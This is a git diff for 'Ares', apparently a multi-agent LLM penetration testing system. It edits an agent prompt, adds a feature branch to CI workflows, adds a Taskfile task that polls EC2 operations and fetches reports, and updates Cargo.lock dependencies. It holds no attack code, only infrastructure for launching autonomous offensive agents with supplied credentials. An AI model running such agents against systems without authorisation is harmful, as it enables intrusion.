diff --git a/.gemini/agents/ares-operator.md b/.gemini/agents/ares-operator.md index b01c94c6..2734c193 100644 --- a/.gemini/agents/ares-operator.md +++ b/.gemini/agents/ares-operator.md @@ -12,7 +12,7 @@ model: gemini-1.5-pro max_turns: 40 --- -You operate a distributed multi-agent penetration testing system called Ares. The system runs on remote infrastructure (K8s cluster or EC2 instance) — you drive it from the local machine via `ares` or Taskfile commands. +You operate a distributed multi-agent penetration testing system called Ares. The system runs on remote infrastructure (K8s cluster or EC2 instance) - you drive it from the local machine via `ares` or Taskfile commands. ## Architecture @@ -25,7 +25,7 @@ ares --k8s / --ec2 → ares-orchestrator (LLM coordination loop) Redis (state store + message broker) ``` -The orchestrator and workers are autonomous LLM agents. You don't control them directly — you submit operations, monitor state, inject data when stuck, and debug failures. +The orchestrator and workers are autonomous LLM agents. You don't control them directly - you submit operations, monitor state, inject data when stuck, and debug failures. ## Two Deployment Targets diff --git a/.github/workflows/molecule.yaml b/.github/workflows/molecule.yaml index 0646d668..2e65d4b9 100644 --- a/.github/workflows/molecule.yaml +++ b/.github/workflows/molecule.yaml @@ -5,6 +5,7 @@ on: pull_request: branches: - main + - feat/more-attack-cov types: - opened - synchronize diff --git a/.github/workflows/pre-commit.yaml b/.github/workflows/pre-commit.yaml index 611b6259..7e377563 100644 --- a/.github/workflows/pre-commit.yaml +++ b/.github/workflows/pre-commit.yaml @@ -5,6 +5,7 @@ on: pull_request: branches: - main + - feat/more-attack-cov types: - opened - synchronize diff --git a/.github/workflows/rust.yaml b/.github/workflows/rust.yaml index 881e95b2..369590b7 100644 --- a/.github/workflows/rust.yaml +++ b/.github/workflows/rust.yaml @@ -5,6 +5,7 @@ on: pull_request: branches: - main + - feat/more-attack-cov types: - opened - synchronize diff --git a/.github/workflows/semantic-prs.yaml b/.github/workflows/semantic-prs.yaml index 26a1685a..1dae4b76 100644 --- a/.github/workflows/semantic-prs.yaml +++ b/.github/workflows/semantic-prs.yaml @@ -4,6 +4,7 @@ on: pull_request: branches: - main + - feat/more-attack-cov types: - opened - edited diff --git a/.github/workflows/semgrep.yaml b/.github/workflows/semgrep.yaml index d3f671e3..a5823d85 100644 --- a/.github/workflows/semgrep.yaml +++ b/.github/workflows/semgrep.yaml @@ -5,6 +5,7 @@ on: pull_request: branches: - main + - feat/more-attack-cov types: - opened - synchronize diff --git a/.github/workflows/test-template-builds.yaml b/.github/workflows/test-template-builds.yaml index e70c0453..20a9db10 100644 --- a/.github/workflows/test-template-builds.yaml +++ b/.github/workflows/test-template-builds.yaml @@ -5,6 +5,7 @@ on: pull_request: branches: - main + - feat/more-attack-cov types: - opened - synchronize diff --git a/.github/workflows/validate-templates.yaml b/.github/workflows/validate-templates.yaml index 9eb7b852..362f1ce3 100644 --- a/.github/workflows/validate-templates.yaml +++ b/.github/workflows/validate-templates.yaml @@ -5,6 +5,7 @@ on: pull_request: branches: - main + - feat/more-attack-cov types: - opened - synchronize diff --git a/.taskfiles/ec2/Taskfile.yaml b/.taskfiles/ec2/Taskfile.yaml index fa621b86..3540cd7c 100644 --- a/.taskfiles/ec2/Taskfile.yaml +++ b/.taskfiles/ec2/Taskfile.yaml @@ -242,6 +242,7 @@ tasks: fi echo -e "{{.INFO}} Cross-compiling for {{.RUST_TARGET}} (profile: $PROFILE, jobs: {{.CARGO_BUILD_JOBS}})..." + echo -e "{{.INFO}} FD limit inherited from parent: $(sh -c 'ulimit -n' 2>/dev/null || echo unknown)" # Zig 0.15+ rejects RLIM_INFINITY on the *hard* fd limit (returns # ProcessFdQuotaExceeded mid-link). On macOS, default zsh/bash sessions @@ -1062,11 +1063,82 @@ tasks: ops list {{if eq .LATEST "true"}}--latest{{end}} + # ============================================================================ + # Watch + auto-report + # ============================================================================ + watch: + desc: "Poll EC2 operation until complete, then auto-fetch the report locally (usage: task ec2:watch [EC2_NAME=kali-ares] [LATEST=true] [OPERATION_ID=op-xxx] [POLL_INTERVAL=30] [MAX_WAIT=7200] [OUTPUT_DIR=./reports])" + silent: true + vars: + OPERATION_ID: '{{.OPERATION_ID | default ""}}' + LATEST: '{{.LATEST | default "true"}}' + POLL_INTERVAL: '{{.POLL_INTERVAL | default "30"}}' + MAX_WAIT: '{{.MAX_WAIT | default "7200"}}' + OUTPUT_DIR: '{{.OUTPUT_DIR | default "./reports"}}' + cmds: + - | + if [ -z "{{.OPERATION_ID}}" ] && [ "{{.LATEST}}" != "true" ]; then + echo -e "{{.ERROR}} Either OPERATION_ID or LATEST=true is required" + exit 1 + fi + + OP_ARG="" + LATEST_FLAG="" + if [ -n "{{.OPERATION_ID}}" ]; then + OP_ARG="{{.OPERATION_ID}}" + else + LATEST_FLAG="--latest" + fi + + START=$(date +%s) + echo -e "{{.INFO}} Watching EC2 operation (poll={{.POLL_INTERVAL}}s, max_wait={{.MAX_WAIT}}s)" + echo -e "{{.INFO}} Will fetch report to {{.OUTPUT_DIR}}/red/ when the op reaches a terminal state" + + RESOLVED_OP="" + while true; do + ELAPSED=$(( $(date +%s) - START )) + if [ $ELAPSED -gt {{.MAX_WAIT}} ]; then + echo -e "{{.ERROR}} Max wait ({{.MAX_WAIT}}s) exceeded, giving up" + exit 1 + fi + + STATUS_OUT=$(ares --ec2 {{.EC2_NAME}} --ec2-profile {{.EC2_PROFILE}} --ec2-region {{.EC2_REGION}} \ + ops status $OP_ARG $LATEST_FLAG 2>&1 || true) + + STATUS=$(echo "$STATUS_OUT" | grep -E '^Status: ' | head -1 | awk '{print $2}') + OP_ID=$(echo "$STATUS_OUT" | grep -E '^Operation: ' | head -1 | awk '{print $2}') + if [ -n "$OP_ID" ]; then + RESOLVED_OP="$OP_ID" + fi + + if [ -z "$STATUS" ]; then + echo -e "{{.WARN}} [${ELAPSED}s] no status yet (waiting for op to register)" + else + echo -e "{{.INFO}} [${ELAPSED}s] op=${RESOLVED_OP:-?} status=$STATUS" + case "$STATUS" in + completed|stopped) + echo -e "{{.SUCCESS}} Operation reached terminal state: $STATUS" + break + ;; + esac + fi + + sleep {{.POLL_INTERVAL}} + done + + if [ -z "$RESOLVED_OP" ]; then + echo -e "{{.ERROR}} Could not resolve operation ID — cannot fetch report" + exit 1 + fi + + echo -e "{{.INFO}} Fetching report for $RESOLVED_OP..." + task ec2:report EC2_NAME={{.EC2_NAME}} OPERATION_ID=$RESOLVED_OP OUTPUT_DIR={{.OUTPUT_DIR}} + # ============================================================================ # Operation Launch # ============================================================================ launch: - desc: "Launch orchestrator on EC2 via Secrets Manager (usage: task ec2:launch EC2_NAME=kali-ares [DOMAIN=...] [TARGETS=...] [CRED_USER=...] [CRED_PASS=...])" + desc: "Launch orchestrator on EC2 via Secrets Manager (usage: task ec2:launch EC2_NAME=kali-ares [DOMAIN=...] [TARGETS=...] [CRED_USER=...] [CRED_PASS=...] [WAIT=true] [POLL_INTERVAL=30])" silent: true vars: DOMAIN: '{{.DOMAIN | default "sevenkingdoms.local"}}' @@ -1078,6 +1150,10 @@ tasks: LLM_MODEL: '{{.LLM_MODEL | default ""}}' FLUSH_REDIS: '{{.FLUSH_REDIS | default "true"}}' OPERATION_ID: '{{.OPERATION_ID | default ""}}' + WAIT: '{{.WAIT | default "false"}}' + POLL_INTERVAL: '{{.POLL_INTERVAL | default "30"}}' + MAX_WAIT: '{{.MAX_WAIT | default "7200"}}' + OUTPUT_DIR: '{{.OUTPUT_DIR | default "./reports"}}' cmds: - | INSTANCE_ID=$(aws ec2 describe-instances \ @@ -1260,6 +1336,16 @@ tasks: echo -e "{{.SUCCESS}} Operation $OP_ID launched" echo -e "{{.INFO}} Monitor: task ec2:runtime EC2_NAME={{.EC2_NAME}}" + if [ "{{.WAIT}}" = "true" ]; then + echo -e "{{.INFO}} WAIT=true — handing off to ec2:watch (auto-fetch report on completion)" + task ec2:watch \ + EC2_NAME={{.EC2_NAME}} \ + OPERATION_ID="$OP_ID" \ + POLL_INTERVAL={{.POLL_INTERVAL}} \ + MAX_WAIT={{.MAX_WAIT}} \ + OUTPUT_DIR={{.OUTPUT_DIR}} + fi + # ============================================================================ # Post-AMI Tool Setup # ============================================================================ diff --git a/Cargo.lock b/Cargo.lock index 2f4ea5b7..50f4b9d3 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -121,6 +121,8 @@ dependencies = [ "clap", "dotenvy", "futures", + "hickory-resolver", + "local-ip-address", "redis", "regex", "rstest", @@ -198,6 +200,7 @@ dependencies = [ "anyhow", "approx", "ares-core", + "base64", "chrono", "redis", "regex", @@ -394,9 +397,9 @@ dependencies = [ [[package]] name = "cc" -version = "1.2.60" +version = "1.2.62" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "43c5703da9466b66a946814e1adf53ea2c90f10063b86290cc9eb67ce3478a20" +checksum = "a1dce859f0832a7d088c4f1119888ab94ef4b5d6795d1ce05afb7fe159d79f98" dependencies = [ "find-msvc-tools", "jobserver", @@ -404,12 +407,6 @@ dependencies = [ "shlex", ] -[[package]] -name = "cesu8" -version = "1.1.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6d43a04d8753f35258c91f8ec639f792891f748a1edbd759cf1dcea3382ad83c" - [[package]] name = "cfg-if" version = "1.0.4" @@ -604,9 +601,9 @@ dependencies = [ [[package]] name = "crc-catalog" -version = "2.4.0" +version = "2.5.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "19d374276b40fb8bbdee95aef7c7fa6b5316ec764510eb64b8dd0e2ed0d7e7f5" +checksum = "217698eaf96b4a3f0bc4f3662aaa55bdf913cd54d7204591faa790070c6d0853" [[package]] name = "crossbeam-deque" @@ -687,6 +684,41 @@ dependencies = [ "syn", ] +[[package]] +name = "darling" +version = "0.20.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fc7f46116c46ff9ab3eb1597a45688b6715c6e628b5c133e288e709a29bcb4ee" +dependencies = [ + "darling_core", + "darling_macro", +] + +[[package]] +name = "darling_core" +version = "0.20.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0d00b9596d185e565c2207a0b01f8bd1a135483d02d9b7b0a54b11da8d53412e" +dependencies = [ + "fnv", + "ident_case", + "proc-macro2", + "quote", + "strsim", + "syn", +] + +[[package]] +name = "darling_macro" +version = "0.20.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fc34b93ccb385b40dc71c6fceac4b2ad23662c7eeb248cf10d529b7e055b6ead" +dependencies = [ + "darling_core", + "quote", + "syn", +] + [[package]] name = "data-encoding" version = "2.11.0" @@ -714,6 +746,37 @@ dependencies = [ "serde_core", ] +[[package]] +name = "derive_builder" +version = "0.20.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "507dfb09ea8b7fa618fcf76e953f4f5e192547945816d5358edffe39f6f94947" +dependencies = [ + "derive_builder_macro", +] + +[[package]] +name = "derive_builder_core" +version = "0.20.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2d5bcf7b024d6835cfb3d473887cd966994907effbe9227e8c8219824d06c4e8" +dependencies = [ + "darling", + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "derive_builder_macro" +version = "0.20.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ab63b0e2bf4d5928aff72e83a7dace85d7bba5fe12dcc3c5a572d78caffd3f3c" +dependencies = [ + "derive_builder_core", + "syn", +] + [[package]] name = "deunicode" version = "1.6.2" @@ -734,9 +797,9 @@ dependencies = [ [[package]] name = "digest" -version = "0.11.2" +version = "0.11.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4850db49bf08e663084f7fb5c87d202ef91a3907271aff24a94eb97ff039153c" +checksum = "f1dd6dbb5841937940781866fa1281a1ff7bd3bf827091440879f9994983d5c2" dependencies = [ "block-buffer 0.12.0", "const-oid 0.10.2", @@ -797,6 +860,18 @@ dependencies = [ "serde", ] +[[package]] +name = "enum-as-inner" +version = "0.6.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a1e6a265c649f3f5979b601d26f1d05ada116434c87741c9493cb56218f76cbc" +dependencies = [ + "heck", + "proc-macro2", + "quote", + "syn", +] + [[package]] name = "equivalent" version = "1.0.2" @@ -1057,6 +1132,18 @@ dependencies = [ "wasip3", ] +[[package]] +name = "getset" +version = "0.1.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9cf0fc11e47561d47397154977bc219f4cf809b2974facc3ccb3b89e2436f912" +dependencies = [ + "proc-macro-error2", + "proc-macro2", + "quote", + "syn", +] + [[package]] name = "glob" version = "0.3.3" @@ -1089,9 +1176,9 @@ dependencies = [ [[package]] name = "h2" -version = "0.4.13" +version = "0.4.14" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2f44da3a8150a6703ed5d34e164b875fd14c2cdab9af1252a9a1020bde2bdc54" +checksum = "171fefbc92fe4a4de27e0698d6a5b392d6a0e333506bc49133760b3bcf948733" dependencies = [ "atomic-waker", "bytes", @@ -1119,9 +1206,9 @@ dependencies = [ [[package]] name = "hashbrown" -version = "0.17.0" +version = "0.17.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4f467dd6dccf739c208452f8014c75c18bb8301b050ad1cfb27153803edb0f51" +checksum = "ed5909b6e89a2db4456e54cd5f673791d7eca6732202bbf2a9cc504fe2f9b84a" [[package]] name = "hashlink" @@ -1144,6 +1231,51 @@ version = "0.4.3" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "7f24254aa9a54b5c858eaee2f5bccdb46aaf0e486a595ed5fd8f86ba55232a70" +[[package]] +name = "hickory-proto" +version = "0.24.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "92652067c9ce6f66ce53cc38d1169daa36e6e7eb7dd3b63b5103bd9d97117248" +dependencies = [ + "async-trait", + "cfg-if", + "data-encoding", + "enum-as-inner", + "futures-channel", + "futures-io", + "futures-util", + "idna", + "ipnet", + "once_cell", + "rand 0.8.6", + "thiserror 1.0.69", + "tinyvec", + "tokio", + "tracing", + "url", +] + +[[package]] +name = "hickory-resolver" +version = "0.24.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cbb117a1ca520e111743ab2f6688eddee69db4e0ea242545a604dce8a66fd22e" +dependencies = [ + "cfg-if", + "futures-util", + "hickory-proto", + "ipconfig", + "lru-cache", + "once_cell", + "parking_lot", + "rand 0.8.6", + "resolv-conf", + "smallvec", + "thiserror 1.0.69", + "tokio", + "tracing", +] + [[package]] name = "hkdf" version = "0.12.4" @@ -1221,9 +1353,9 @@ dependencies = [ [[package]] name = "hybrid-array" -version = "0.4.10" +version = "0.4.12" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "3944cf8cf766b40e2a1a333ee5e9b563f854d5fa49d6a8ca2764e97c6eddb214" +checksum = "9155a582abd142abc056962c29e3ce5ff2ad5469f4246b537ed42c5deba857da" dependencies = [ "typenum", ] @@ -1413,6 +1545,12 @@ version = "2.3.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "3d3067d79b975e8844ca9eb072e16b31c3c1c36928edf9c6789548c524d0d954" +[[package]] +name = "ident_case" +version = "1.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b9e0384b61958566e926dc50660321d12159025e767c18e043daf26b70104c39" + [[package]] name = "idna" version = "1.1.0" @@ -1426,9 +1564,9 @@ dependencies = [ [[package]] name = "idna_adapter" -version = "1.2.1" +version = "1.2.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "3acae9609540aa318d1bc588455225fb2085b9ed0c4f6bd0d9d5bcd86f1a0344" +checksum = "cb68373c0d6620ef8105e855e7745e18b0d00d3bdb07fb532e434244cdb9a714" dependencies = [ "icu_normalizer", "icu_properties", @@ -1457,26 +1595,29 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "d466e9454f08e4a911e14806c24e16fba1b4c121d1ea474396f396069cf949d9" dependencies = [ "equivalent", - "hashbrown 0.17.0", + "hashbrown 0.17.1", "serde", "serde_core", ] [[package]] -name = "ipnet" -version = "2.12.0" +name = "ipconfig" +version = "0.3.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d98f6fed1fde3f8c21bc40a1abb88dd75e67924f9cffc3ef95607bad8017f8e2" +checksum = "4d40460c0ce33d6ce4b0630ad68ff63d6661961c48b6dba35e5a4d81cfb48222" +dependencies = [ + "socket2", + "widestring", + "windows-registry", + "windows-result", + "windows-sys 0.61.2", +] [[package]] -name = "iri-string" -version = "0.7.12" +name = "ipnet" +version = "2.12.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "25e659a4bb38e810ebc252e53b5814ff908a8c58c2a9ce2fae1bbec24cbf4e20" -dependencies = [ - "memchr", - "serde", -] +checksum = "d98f6fed1fde3f8c21bc40a1abb88dd75e67924f9cffc3ef95607bad8017f8e2" [[package]] name = "is_terminal_polyfill" @@ -1501,27 +1642,32 @@ checksum = "8f42a60cbdf9a97f5d2305f08a87dc4e09308d1276d28c869c684d7777685682" [[package]] name = "jni" -version = "0.21.1" +version = "0.22.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1a87aa2bb7d2af34197c04845522473242e1aa17c12f4935d5856491a7fb8c97" +checksum = "5efd9a482cf3a427f00d6b35f14332adc7902ce91efb778580e180ff90fa3498" dependencies = [ - "cesu8", "cfg-if", "combine", - "jni-sys 0.3.1", + "jni-macros", + "jni-sys", "log", - "thiserror 1.0.69", + "simd_cesu8", + "thiserror 2.0.18", "walkdir", - "windows-sys 0.45.0", + "windows-link", ] [[package]] -name = "jni-sys" -version = "0.3.1" +name = "jni-macros" +version = "0.22.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "41a652e1f9b6e0275df1f15b32661cf0d4b78d4d87ddec5e0c3c20f097433258" +checksum = "a00109accc170f0bdb141fed3e393c565b6f5e072365c3bd58f5b062591560a3" dependencies = [ - "jni-sys 0.4.1", + "proc-macro2", + "quote", + "rustc_version", + "simd_cesu8", + "syn", ] [[package]] @@ -1555,9 +1701,9 @@ dependencies = [ [[package]] name = "js-sys" -version = "0.3.95" +version = "0.3.98" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2964e92d1d9dc3364cae4d718d93f227e3abb088e747d92e0395bfdedf1c12ca" +checksum = "67df7112613f8bfd9150013a0314e196f4800d3201ae742489d999db2f979f08" dependencies = [ "cfg-if", "futures-util", @@ -1582,9 +1728,9 @@ checksum = "09edd9e8b54e49e587e4f6295a7d29c3ea94d469cb40ab8ca70b288248a81db2" [[package]] name = "libc" -version = "0.2.185" +version = "0.2.186" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "52ff2c0fe9bc6cb6b14a0592c2ff4fa9ceb83eea9db979b0487cd054946a2b8f" +checksum = "68ab91017fe16c622486840e4c83c9a37afeff978bd239b5293d61ece587de66" [[package]] name = "libm" @@ -1601,7 +1747,7 @@ dependencies = [ "bitflags", "libc", "plain", - "redox_syscall 0.7.4", + "redox_syscall 0.7.5", ] [[package]] @@ -1614,6 +1760,12 @@ dependencies = [ "vcpkg", ] +[[package]] +name = "linked-hash-map" +version = "0.5.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0717cef1bc8b636c6e1c1bbdefc09e6322da8a9321966e8928ef80d20f7f770f" + [[package]] name = "linux-raw-sys" version = "0.12.1" @@ -1626,6 +1778,17 @@ version = "0.8.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "92daf443525c4cce67b150400bc2316076100ce0b3686209eb8cf3c31612e6f0" +[[package]] +name = "local-ip-address" +version = "0.6.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d7b0187df4e614e42405b49511b82ff7a1774fbd9a816060ee465067847cac22" +dependencies = [ + "libc", + "neli", + "windows-sys 0.61.2", +] + [[package]] name = "lock_api" version = "0.4.14" @@ -1641,6 +1804,15 @@ version = "0.4.29" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "5e5032e24019045c762d3c0f28f5b6b8bbf38563a65908389bf7978758920897" +[[package]] +name = "lru-cache" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "31e24f1ad8321ca0e8a1e0ac13f23cb668e6f5466c2c57319f6a5cf1cc8e3b1c" +dependencies = [ + "linked-hash-map", +] + [[package]] name = "lru-slab" version = "0.1.2" @@ -1673,7 +1845,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "69b6441f590336821bb897fb28fc622898ccceb1d6cea3fde5ea86b090c4de98" dependencies = [ "cfg-if", - "digest 0.11.2", + "digest 0.11.3", ] [[package]] @@ -1693,6 +1865,35 @@ dependencies = [ "windows-sys 0.61.2", ] +[[package]] +name = "neli" +version = "0.7.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "22f9786d56d972959e1408b6a93be6af13b9c1392036c5c1fafa08a1b0c6ee87" +dependencies = [ + "bitflags", + "byteorder", + "derive_builder", + "getset", + "libc", + "log", + "neli-proc-macros", + "parking_lot", +] + +[[package]] +name = "neli-proc-macros" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "05d8d08c6e98f20a62417478ebf7be8e1425ec9acecc6f63e22da633f6b71609" +dependencies = [ + "either", + "proc-macro2", + "quote", + "serde", + "syn", +] + [[package]] name = "nkeys" version = "0.4.5" @@ -2016,18 +2217,18 @@ dependencies = [ [[package]] name = "pin-project" -version = "1.1.11" +version = "1.1.12" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f1749c7ed4bcaf4c3d0a3efc28538844fb29bcdd7d2b67b2be7e20ba861ff517" +checksum = "cbf0d9e68100b3a7989b4901972f265cd542e560a3a8a724e1e20322f4d06ce9" dependencies = [ "pin-project-internal", ] [[package]] name = "pin-project-internal" -version = "1.1.11" +version = "1.1.12" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d9b20ed30f105399776b9c883e68e536ef602a16ae6f596d2c473591d6ad64c6" +checksum = "a990e22f43e84855daf260dded30524ef4a9021cc7541c26540500a50b624389" dependencies = [ "proc-macro2", "quote", @@ -2122,6 +2323,28 @@ dependencies = [ "toml_edit", ] +[[package]] +name = "proc-macro-error-attr2" +version = "2.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "96de42df36bb9bba5542fe9f1a054b8cc87e172759a1868aa05c1f3acc89dfc5" +dependencies = [ + "proc-macro2", + "quote", +] + +[[package]] +name = "proc-macro-error2" +version = "2.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "11ec05c52be0a07b08061f7dd003e7d7092e0472bc731b4af7bb1ef876109802" +dependencies = [ + "proc-macro-error-attr2", + "proc-macro2", + "quote", + "syn", +] + [[package]] name = "proc-macro2" version = "1.0.106" @@ -2346,9 +2569,9 @@ dependencies = [ [[package]] name = "redox_syscall" -version = "0.7.4" +version = "0.7.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f450ad9c3b1da563fb6948a8e0fb0fb9269711c9c73d9ea1de5058c79c8d643a" +checksum = "4666a1a60d8412eab19d94f6d13dcc9cea0a5ef4fdf6a5db306537413c661b1b" dependencies = [ "bitflags", ] @@ -2466,6 +2689,12 @@ dependencies = [ "web-sys", ] +[[package]] +name = "resolv-conf" +version = "0.7.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1e061d1b48cb8d38042de4ae0a7a6401009d6143dc80d2e2d6f31f0bdd6470c7" + [[package]] name = "ring" version = "0.17.14" @@ -2559,9 +2788,9 @@ dependencies = [ [[package]] name = "rustls" -version = "0.23.38" +version = "0.23.40" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "69f9466fb2c14ea04357e91413efb882e2a6d4a406e625449bc0a5d360d53a21" +checksum = "ef86cd5876211988985292b91c96a8f2d298df24e75989a43a3c73f2d4d8168b" dependencies = [ "aws-lc-rs", "once_cell", @@ -2586,9 +2815,9 @@ dependencies = [ [[package]] name = "rustls-pki-types" -version = "1.14.0" +version = "1.14.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "be040f8b0a225e40375822a563fa9524378b9d63112f53e19ffff34df5d33fdd" +checksum = "30a7197ae7eb376e574fe940d068c30fe0462554a3ddbe4eca7838e049c937a9" dependencies = [ "web-time", "zeroize", @@ -2596,9 +2825,9 @@ dependencies = [ [[package]] name = "rustls-platform-verifier" -version = "0.6.2" +version = "0.7.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1d99feebc72bae7ab76ba994bb5e121b8d83d910ca40b36e0921f53becc41784" +checksum = "26d1e2536ce4f35f4846aa13bff16bd0ff40157cdb14cc056c7b14ba41233ba0" dependencies = [ "core-foundation", "core-foundation-sys", @@ -2623,9 +2852,9 @@ checksum = "f87165f0995f63a9fbeea62b64d10b4d9d8e78ec6d7d51fb2125fda7bb36788f" [[package]] name = "rustls-webpki" -version = "0.103.12" +version = "0.103.13" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8279bb85272c9f10811ae6a6c547ff594d6a7f3c6c6b02ee9726d1d0dcfcdd06" +checksum = "61c429a8649f110dddef65e2a5ad240f747e85f7758a6bccc7e5777bd33f756e" dependencies = [ "aws-lc-rs", "ring", @@ -2822,7 +3051,7 @@ checksum = "446ba717509524cb3f22f17ecc096f10f4822d76ab5c0b9822c5f9c284e825f4" dependencies = [ "cfg-if", "cpufeatures 0.3.0", - "digest 0.11.2", + "digest 0.11.3", ] [[package]] @@ -2872,11 +3101,27 @@ dependencies = [ "rand_core 0.6.4", ] +[[package]] +name = "simd_cesu8" +version = "1.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "94f90157bb87cddf702797c5dadfa0be7d266cdf49e22da2fcaa32eff75b2c33" +dependencies = [ + "rustc_version", + "simdutf8", +] + +[[package]] +name = "simdutf8" +version = "0.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e3a9fe34e3e7a50316060351f37187a3f546bce95496156754b601a5fa71b76e" + [[package]] name = "siphasher" -version = "1.0.2" +version = "1.0.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b2aa850e253778c88a04c3d7323b043aeda9d3e30d5971937c1855769763678e" +checksum = "8ee5873ec9cce0195efcb7a4e9507a04cd49aec9c83d0389df45b1ef7ba2e649" [[package]] name = "slab" @@ -3443,9 +3688,9 @@ dependencies = [ [[package]] name = "tonic" -version = "0.14.5" +version = "0.14.6" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "fec7c61a0695dc1887c1b53952990f3ad2e3a31453e1f49f10e75424943a93ec" +checksum = "ac2a5518c70fa84342385732db33fb3f44bc4cc748936eb5833d2df34d6445ef" dependencies = [ "async-trait", "base64", @@ -3469,9 +3714,9 @@ dependencies = [ [[package]] name = "tonic-prost" -version = "0.14.5" +version = "0.14.6" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a55376a0bbaa4975a3f10d009ad763d8f4108f067c7c2e74f3001fb49778d309" +checksum = "50849f68853be452acf590cde0b146665b8d507b3b8af17261df47e02c209ea0" dependencies = [ "bytes", "prost", @@ -3499,20 +3744,20 @@ dependencies = [ [[package]] name = "tower-http" -version = "0.6.8" +version = "0.6.10" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d4e6559d53cc268e5031cd8429d05415bc4cb4aefc4aa5d6cc35fbf5b924a1f8" +checksum = "68d6fdd9f81c2819c9a8b0e0cd91660e7746a8e6ea2ba7c6b2b057985f6bcb51" dependencies = [ "bitflags", "bytes", "futures-util", "http", "http-body", - "iri-string", "pin-project-lite", "tower", "tower-layer", "tower-service", + "url", ] [[package]] @@ -3809,9 +4054,9 @@ checksum = "b8dad83b4f25e74f184f64c43b150b91efe7647395b42289f38e50566d82855b" [[package]] name = "wasm-bindgen" -version = "0.2.118" +version = "0.2.121" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0bf938a0bacb0469e83c1e148908bd7d5a6010354cf4fb73279b7447422e3a89" +checksum = "49ace1d07c165b0864824eee619580c4689389afa9dc9ed3a4c75040d82e6790" dependencies = [ "cfg-if", "once_cell", @@ -3822,9 +4067,9 @@ dependencies = [ [[package]] name = "wasm-bindgen-futures" -version = "0.4.68" +version = "0.4.71" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f371d383f2fb139252e0bfac3b81b265689bf45b6874af544ffa4c975ac1ebf8" +checksum = "96492d0d3ffba25305a7dc88720d250b1401d7edca02cc3bcd50633b424673b8" dependencies = [ "js-sys", "wasm-bindgen", @@ -3832,9 +4077,9 @@ dependencies = [ [[package]] name = "wasm-bindgen-macro" -version = "0.2.118" +version = "0.2.121" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "eeff24f84126c0ec2db7a449f0c2ec963c6a49efe0698c4242929da037ca28ed" +checksum = "8e68e6f4afd367a562002c05637acb8578ff2dea1943df76afb9e83d177c8578" dependencies = [ "quote", "wasm-bindgen-macro-support", @@ -3842,9 +4087,9 @@ dependencies = [ [[package]] name = "wasm-bindgen-macro-support" -version = "0.2.118" +version = "0.2.121" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9d08065faf983b2b80a79fd87d8254c409281cf7de75fc4b773019824196c904" +checksum = "d95a9ec35c64b2a7cb35d3fead40c4238d0940c86d107136999567a4703259f2" dependencies = [ "bumpalo", "proc-macro2", @@ -3855,9 +4100,9 @@ dependencies = [ [[package]] name = "wasm-bindgen-shared" -version = "0.2.118" +version = "0.2.121" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5fd04d9e306f1907bd13c6361b5c6bfc7b3b3c095ed3f8a9246390f8dbdee129" +checksum = "c4e0100b01e9f0d03189a92b96772a1fb998639d981193d7dbab487302513441" dependencies = [ "unicode-ident", ] @@ -3898,9 +4143,9 